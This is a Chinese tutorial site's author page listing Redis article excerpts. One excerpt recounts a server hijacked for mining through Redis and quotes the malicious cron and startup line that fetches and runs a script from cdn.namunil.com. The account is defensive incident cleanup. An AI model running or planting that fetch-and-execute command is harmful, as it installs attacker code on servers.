作者文章

fwq

FWQ
服务器教程
浅谈内存耗尽后Redis会发生什么
浅谈内存耗尽后Redis会发生什么 收藏 在数据库实战开发的过程中,我们经常会遇到一些这样那样的问题,然后要卡好半天,等问题解决了才发现原来一些细节知识点还是没有掌握好。今天golang学习网就整理分享《浅谈内存耗尽后Redis会发生什么》,聊聊Redis内存耗尽,希望可以帮助到正在努力赚钱的你。 内存回收 使用Redis 服务时,很多情况下某些键值对只会在特定的时间内有效,为了防止这种类型的数据一直占有内存,我们可以给键值对设置有效期。Redis 中可以通过 4 个独立的命令来给一个键设置过期时间: expire key ttl:将 key 值的过期时间设置为 ttl 秒。 pexpire key ttl:将 key 值的过期时间设置为 ttl 毫秒。 expireat key timestamp:将 key 值的过期时间设置为指定的…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis基本数据类型Set常用操作命令
Redis基本数据类型Set常用操作命令 收藏 本篇文章向大家介绍《Redis基本数据类型Set常用操作命令》,主要包括set、操作命令、Redis数据类型,具有一定的参考价值,需要的朋友可以参考一下。 Redis基本数据类型Set常用操作 Set是String类型的无序集合。集合成员是唯一的,这就意味着集合中不能出现重复的数据。 另外,redis中的set是通过哈希表实现的,所以添加,删除,查找的复杂度都是 O(1)。 一、sadd 添加一个、多个元素 将一个或多个成员元素加入到集合中,已经存在于集合的成员元素将被忽略。若key不存在,则创建一个只包含添加的元素作成员的集合。 sadd myset hello pingguo test 若key不是集合类型时,返回一个错误。 二、smembers 查看集合 返回集合中的所有的成员。 smembers myset 三、scard 元素数量 返回集合中元素的数量。 scard myset 四、srem 移除一个、多个元素…
2025-05-10 阅读全文 →
FWQ
服务器教程
Linux服务器Redis漏洞被利用挖矿解决方法
Linux服务器Redis漏洞被利用挖矿解决方法 收藏 怎么入门数据库编程?需要学习哪些知识点?这是新手们刚接触编程时常见的问题;下面golang学习网就来给大家整理分享一些知识点,希望能够给初学者一些帮助。本篇文章就来介绍《Linux服务器Redis漏洞被利用挖矿解决方法》,涉及到服务器、Redis、Linux,有需要的可以收藏一下 由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问,阻断预计将在2018-03-28 07:34:26时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后。发现这个提醒了,基本上你的服务器已经成为挖矿肉鸡了。 最近上服务器,发现服务器redis的备份文件路径变了,一开始也没怎么在意,后来发现一些服务老是挂掉。我重启了次服务器,好像恢复正常了。过了一会,一些关键服务又自动挂了,我开始意识到我服务器可能被入侵变成肉鸡了。这个网址就是罪魁祸首,cdn.namunil.com,开机自启动从此网址自动下载脚本执行,太坑了,这家伙。 于是我看了下crontab,发现有个陌生的例行: 查看定时任务命令: 查看定时任务:vim  /etc/crontab 列出所有的定时任务:crontab -l 删除所有用户定时任务:crontab -r */20 * * * * curl -fsSL http://cdn.namunil.com/ash.php | sh  应该就是它在搞事,于是我把它删掉,重启服务器,惊奇地发现这个例行又出现了,明明已经被我删掉了,于是我看了下开机自动加载命令: cat /etc/rc.d/rc.local  发现如下内容: curl -fsSL http://cdn.namunil.com/ash.php | shexit()  于是我把它删掉,继续重启服务器,这次正常了。Linux服务器自启动文件路径:etc/rc.local 这个每个人的有细微差别,具体可以查看。 接着我继续排查其他被改动的问题,发现博客可以正常读取mysql数据,但是在Linxu直接命令行连接不上: [root@VM /root]# mysql -u root -p  mysql: relocation error: mysql: symbol strmov, version libmysqlclient_16 not defined in file libmysqlclient.so.16 with link time reference  参考这个链接解决了 http://blog.51cto.com/ovcer/1620051 接着发现phpmyadmin还是连接不上,账号密码确认没输错,但是就是登录不上气,也没报错,当时就一脸懵逼了,后来想上博客后台看下数据,发现验证码老时提示输入错误(明明没输错,认真脸)。 接着打印日志排查问题的时候,发现验证码根本就没写进到session里面去,突然想起之前在php.ini里面好像改过php…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis的11种Web应用场景简介
Redis的11种Web应用场景简介 收藏 本篇文章给大家分享《Redis的11种Web应用场景简介》,覆盖了数据库的常见基础知识,其实一个语言的全部知识点一篇文章是不可能说完的,但希望通过这些问题,让读者对自己的掌握程度有一定的认识(B 数),从而弥补自己的不足,更好的掌握它。 下面列出11种Web应用场景,在这些场景下可以充分的利用Redis的特性,大大提高效率。 1.在主页中显示最新的项目列表 Redis使用的是常驻内存的缓存,速度非常快。LPUSH用来插入一个内容ID,作为关键字存储在列表头部。LTRIM用来限制列表中的项目数最多为5000。如果用户需要的检索的数据量超越这个缓存容量,这时才需要把请求发送到数据库。 2.删除和过滤 如果一篇文章被删除,可以使用LREM从缓存中彻底清除掉。 3.排行榜及相关问题 排行榜(leader board)按照得分进行排序。ZADD命令可以直接实现这个功能,而ZREVRANGE命令可以用来按照得分来获取前100名的用户,ZRANK可以用来获取用户排名,非常直接而且操作容易。 4.按照用户投票和时间排序 这就像Reddit的排行榜,得分会随着时间变化。LPUSH和LTRIM命令结合运用,把文章添加到一个列表中。一项后台任务用来获取列表,并重新计算列表的排序,ZADD命令用来按照新的顺序填充生成列表。列表可以实现非常快速的检索,即使是负载很重的站点。 5.过期项目处理 使用unix时间作为关键字,用来保持列表能够按时间排序。对current_time和time_to_live进行检索,完成查找过期项目的艰巨任务。另一项后台任务使用ZRANGE…WITHSCORES进行查询,删除过期的条目。 6.计数 进行各种数据统计的用途是非常广泛的,比如想知道什么时候封锁一个IP地址。INCRBY命令让这些变得很容易,通过原子递增保持计数;GETSET用来重置计数器;过期属性用来确认一个关键字什么时候应该删除。 7.特定时间内的特定项目 这是特定访问者的问题,可以通过给每次页面浏览使用SADD命令来解决。SADD不会将已经存在的成员添加到一个集合。 8.实时分析正在发生的情况,用于数据统计与防止垃圾邮件等 使用Redis原语命令,更容易实施垃圾邮件过滤系统或其他实时跟踪系统。 9.Pub/Sub 在更新中保持用户对数据的映射是系统中的一个普遍任务。Redis的pub/sub功能使用了SUBSCRIBE、UNSUBSCRIBE和PUBLISH命令,让这个变得更加容易。 10.队列 在当前的编程中队列随处可见。除了push和pop类型的命令之外,Redis还有阻塞队列的命令,能够让一个程序在执行时被另一个程序添加到队列。你也可以做些更有趣的事情,比如一个旋转更新的RSS feed队列。 11.缓存…
2025-05-10 阅读全文 →
FWQ
服务器教程
Python面试官问Redis的相关问题,看完这篇文章就够了
Python面试官问Redis的相关问题,看完这篇文章就够了 收藏 来到golang学习网的大家,相信都是编程学习爱好者,希望在这里学习数据库相关编程知识。下面本篇文章就来带大家聊聊《Python面试官问Redis的相关问题,看完这篇文章就够了》,介绍一下Redis、python、NoSQL,希望对大家的知识积累有所帮助,助力实战开发!  最近写了一篇自己搭建redis集群并在自己项目中使用的文章,今天早上看别人写的面经发现redis在面试中还是比较常问的(我是python方向)。所以查阅官方文档以及他人造好的轮子,总结了一些redis面试和学习中你必须掌握的问题。事无巨细,不可能囊括到所有内容,尽量把比较常见的写出来。 什么是Redis? 安装Redis Redis的代码遵循ANSI-C编写,可以在所有POSIX系统(如Linux, *BSD, Mac OS X, Solaris等)上安装运行。而且Redis并不依赖任何非标准库,也没有编译参数必需添加。redis的安装出奇的简单,这可能也是他风靡的一个原因,让人很容易上手.Redis 是一个使用 C 语言写成的,开源的 key-value 数据库。。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。目前,Vmware在资助着redis项目的开发和维护。 Redis与Memcached的区别与比较 1 、Redis不仅仅支持简单的k/v类型的数据,同时还提供list,set,zset,hash等数据结构的存储。memcache支持简单的数据类型,String。 2 、Redis支持数据的备份,即master-slave模式的数据备份。 3 、Redis支持数据的持久化,可以将内存中的数据保持在磁盘中,重启的时候可以再次加载进行使用,而Memecache把数据全部存在内存之中 4、 redis的速度比memcached快很多…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis Sentinel的基本搭建
Redis Sentinel的基本搭建 收藏 本篇文章向大家介绍《Redis Sentinel的基本搭建》,主要包括RedisSentinel,具有一定的参考价值,需要的朋友可以参考一下。 Redis Sentinel的概念    我们知道Redis主从模式下,一旦主节点由于故障不能提供服务,需要人工将从节点晋升为主节点,同时还要通知应用方更新主节点的地址。然后在很多应用场景下这种故障处理的方式是无法接受的,应用程序需要实时感知当前的可用节点。为了解决这个问题,Redis Sentinel应运而生,也称之为”哨兵”。    介绍sentinel之前,先来了解几个redis的概念, 主节点master:Redis进程,主服务 从节点slave:redis进程,从服务 Redis数据节点:主节点和从节点 Sentinel节点:监控Redis数据节点,独立的sentinel进程 Sentinel节点集合:若干Sentinel节点的抽象组合,若干sentinel节点进程 Redis Sentinel:Redis高可用实现方案,sentinel节点集合和redis数据节点进程 01 主从复制问题 前面的文章中我们讲述了主从复制,可以将从节点作为主节点的灾备节点,今天我们来看主从复制带来的问题: 1、一旦主节点发生故障,从节点晋升为主节点的过程和应用调整新主节点的过程,都需要人为干预 2、主节点的写能力容易受到单机的限制 3、主节点的存储能力容易受到单机的限制    一种常见的方法是使用脚本来触发主从节点的角色切换,例如在一个一主两从的结构中,假设主节点master,从节点slave1,slave2,我们来看故障发生时架构的状态: 1、主节点master故障,客户端连接失败,两个从节点复制失败…
2025-05-10 阅读全文 →
FWQ
服务器教程
使用Redis实现令牌桶算法原理解析
使用Redis实现令牌桶算法原理解析 收藏 本篇文章给大家分享《使用Redis实现令牌桶算法原理解析》,覆盖了数据库的常见基础知识,其实一个语言的全部知识点一篇文章是不可能说完的,但希望通过这些问题,让读者对自己的掌握程度有一定的认识(B 数),从而弥补自己的不足,更好的掌握它。 在限流算法中有一种令牌桶算法,该算法可以应对短暂的突发流量,这对于现实环境中流量不怎么均匀的情况特别有用,不会频繁的触发限流,对调用方比较友好。 例如,当前限制10qps,大多数情况下不会超过此数量,但偶尔会达到30qps,然后很快就会恢复正常,假设这种突发流量不会对系统稳定性产生影响,我们可以在一定程度上允许这种瞬时突发流量,从而为用户带来更好的可用性体验。这就是使用令牌桶算法的地方。 令牌桶算法原理 如下图所示,该算法的基本原理是:有一个容量为X的令牌桶,每Y单位时间内将Z个令牌放入该桶。如果桶中的令牌数量超过X,那么它将被丢弃。处理请求时,需要先从令牌桶中取出令牌,如果拿到了令牌,则继续处理;如果拿不到令牌,则拒绝请求。 可以看出,在令牌桶算法中设置X,Y和Z的数量尤为重要。Z应该比每Y单位时间内的请求数稍大,系统将长时间处于此状态;X是系统允许的瞬时最大请求数,并且系统不应该长时间处于此状态,否则就会频繁触发限流,此时表明流量出现了超预期的情况,需要及时调查原因并采取相应措施。 Redis实现令牌桶算法 之前看过有些程序实现的令牌桶,其向桶中放入令牌的方法是启动一个线程,每隔Y单位时间增加一次令牌数量,或者在Timer中定时执行这一过程。我不太满意这种方法, 原因有二,一是浪费线程资源,二是因为调度的问题执行时间不精确。 这里确定令牌桶中令牌数量的方法是通过计算得出,首先算出从上次请求到这次请求经过了多长时间,是否达到发令牌的时间阈值,然后增加的令牌数是多少,这些令牌能够放到桶中的是多少。 Talk is cheap! 下边就来看看Redis中怎么实现的,因为涉及到多次与Redis的交互,这里为了提高限流处理的吞吐量,减少程序与Redis的交互次数,采用了Redis支持的Lua script,Lua script的执行是原子的,所以也不用担心出现脏数据的问题。 代码节选自 ,它不仅支持普通主从部署Redis,还支持集群Redis,所以吞吐量可以通过水平扩展的方式进行提升。为了方便阅读,这里增加一些注释,实际是没有的。 -- 定义返回值,是个数组,包含:是否触发限流(1限流 0通过)、当前桶中的令牌数 local ret={} ret[1]=0 --…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis为什么快如何实现高可用及持久化
Redis为什么快如何实现高可用及持久化 收藏 来到golang学习网的大家,相信都是编程学习爱好者,希望在这里学习数据库相关编程知识。下面本篇文章就来带大家聊聊《Redis为什么快如何实现高可用及持久化》,介绍一下高可用、Redis持久化,希望对大家的知识积累有所帮助,助力实战开发! 前言 作为Java程序员,在面试过程中,缓存相关的问题是躲不掉的,肯定会问,例如缓存一致性问题,缓存雪崩、击穿、穿透等。说到缓存,那肯定少不了Redis,我在面试的时候也是被问了很多关于Redis相关的知识,但是Redis的功能太强大了,并不是一时半会儿能掌握好的,因为有些高级特性或是知识平时并不会用到。 所以回答的不好,人家就会觉得你对自己平时使用的工具都没有了解,自然就凉凉了。其实很早就有这个打算,打算好好总结一下Redis的知识,但也是由于自己都没有好好的了解Redis呢,所以一直没有开始。这次准备慢慢的来总结。 Redis为什么这么快 Redis是一个由C语言编写的开源的,基于内存,支持多种数据结构可持久化的NoSQL数据库。 它速度快主要是有以下几个原因: 基于内存运行,性能高效; 数据结构设计高效,例如String是由动态字符数组构成,zset内部的跳表; 采用单线程,避免了线程的上下文切换,也避免了线程竞争产生的死锁等问题; 使用I/O多路复用模型,非阻塞IO; 官网上给出单台Redis的可以达到10w+的QPS的, 一台服务器上在使用Redis的时候单核的就够了,但是目前服务器都是多核CPU,要想不浪费资源,又能提交效率,可以在一台服务器上部署多个Redis实例。 高可用方案 虽然单台Redis的的性能很好,但是Redis的单节点并不能保证它不会挂了啊,毕竟单节点的Redis是有上限的,而且人家单节点又要读又要写,小身板扛不住咋办,所以为了保证高可用,一般都是做成集群。 主从(Master-Slave) Redis官方是支持主从同步的,而且还支持从从同步,从从同步也可以理解为主从同步,只不过从从同步的主节点是另一个主从的从节点。 有了主从同步的集群,那么主节点就负责提供写操作,而从节点就负责支持读操作。 那么他们之间是如何进行数据同步的呢? 如果Slave(从节点)是第一次跟Master进行连接, 那么会首先会向Master发送同步请求psync; 主节点接收到同步请求,开始fork主子进程开始进行全量同步,然后生成RDB文件; 这个时候主节点同时会将新的写请求,保存到缓存区(buffer)中; 从节点接收到RDB文件后,先清空老数据,然后将RDB中数据加载到内存中; 等到从节点将RDB文件同步完成后再同步缓存区中的写请求。 数组被占满之后就会覆盖掉最早之前的数据。…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis如何一键部署脚本
Redis如何一键部署脚本 收藏 来到golang学习网的大家,相信都是编程学习爱好者,希望在这里学习数据库相关编程知识。下面本篇文章就来带大家聊聊《Redis如何一键部署脚本》,介绍一下脚本、Redis部署,希望对大家的知识积累有所帮助,助力实战开发! 先将安装包拖入/opt目录 注意:这里的脚本bind修改后为 0.0.0.0 bind修改后为bind 127.0.0.1 +服务器IP在下面 #!/bin/bash #yum源 echo -e "\033[31m =====正在验证当前为仅主机还是NAT模式===== \033[0m" ping -c1 -W1 www.baidu.com &> /dev/null if [ $? -eq 0 ];then…
2025-05-10 阅读全文 →
FWQ
服务器教程
Redis服务器的启动过程分析
Redis服务器的启动过程分析 收藏 亲爱的编程学习爱好者,如果你点开了这篇文章,说明你对《Redis服务器的启动过程分析》很感兴趣。本篇文章就来给大家详细解析一下,主要介绍一下Redis服务器、启动过程,希望所有认真读完的童鞋们,都有实质性的提高。 本文将通过分析代码来介绍Redis的启动过程,通过查看Redis 的启动脚本,得知Redis的启动时从Redis.c的main方法开始的。Redis启动可以分为以下几个步骤: 1.初始化Redis服务器全局配置 2.重置服务器Save参数(具体下文详解)和加载配置文件 3.初始化服务器 4.加载数据库 5.开始网络监听 一,初始化Redis服务器全局配置。这一步骤主要是主要是根据Redis.h中设置的Static值来初始化Redis服务器配置,这里设置是Redis服务器的默认配置。如: ·TCP Port,Redis Client的缺省Timeout; ·Redis缺省的数据库数目; ·Redis Append 持久化方式的参数设置; ·Redis的所支持的各种数据结构的缺省值的设置; ·Redis内存Swap相关设置; ·Redis Master & Slave相关的配置; ·Redis Command Table初始化。  二,加载配置文件:…
2025-05-10 阅读全文 →